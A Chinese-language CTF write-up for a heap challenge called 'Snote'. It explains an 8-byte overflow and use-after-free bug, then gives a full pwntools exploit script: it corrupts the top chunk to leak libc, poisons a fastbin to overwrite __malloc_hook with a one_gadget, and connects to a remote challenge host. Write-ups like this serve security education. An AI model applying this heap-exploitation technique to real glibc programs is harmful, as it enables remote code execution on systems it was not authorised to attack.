Snote

题目

难度还行的堆题,四个选项

show dele 都只能使用一次, dele 有free后未清空指针 edit能溢出八个字节

思路

edit有八个字节的溢出,然后看在show dele次数都只有一次的情况下,在考虑的时候就当作没有来考虑

所以前面就是通过溢出修改top chunk的size,然后通过申请大的chunk来触发consolidate将原top chunk置入unsorted bin

这里就相当于不用那一次机会来在chunk中踩出main_arena+88的地址,之后再申请之后show就可以拿到libc的地址。

后面实际就比较简单了,申请个size 为0x70的chunk,利用uaf直接改fd指针到malloc_hook附近修改为one_gadget即可

这里用掉了唯一的free机会

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python2
# -*- coding:utf-8 -*-

import sys
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

if len(sys.argv) > 1:
local = 0
else:
local = 1

if local:
sh = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh = remote('55fca716.gamectf.com','37009')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def add(size,con):
sh.sendlineafter("choice > ","1")
sh.sendlineafter("Size > ",str(size))
sh.sendafter("Content > \n",con)

def show():
sh.sendlineafter("choice > ","2")


def dele():
sh.sendlineafter("choice > ","3")

def edit(size,con):
sh.sendlineafter("choice > ","4")
sh.sendlineafter("Size > ",str(size))
sh.sendafter("Content > \n",con)

sh.sendlineafter('name?\n','sirius')
add(0x408,'0')
edit(0x410,'0'*0x408+'\xf1\x0b\x00')
add(0xf00,'1')
add(0x18,'2'*8)
#gdb.attach(sh)
show()
sh.recvuntil('2'*8)

libc.base = u64(sh.recv(8)) - libc.symbols['__malloc_hook'] +0x10 - 88 -0x600
print(hex(libc.base))
heap = u64(sh.recv(8)) -0x410# - 0x660
print(hex(heap))

malloc_hook = libc.base + libc.symbols['__malloc_hook']
one = libc.base + 0xf02a4
#----------------------------------------------


add(0x68,'last')
dele()
edit(0x68,p64(malloc_hook-0x23))
add(0x68,'a')
#gdb.attach(sh)
add(0x68,'a'*0x13+p64(one))

sh.sendlineafter("choice > ","1")
#gdb.attach(sh)
sh.interactive()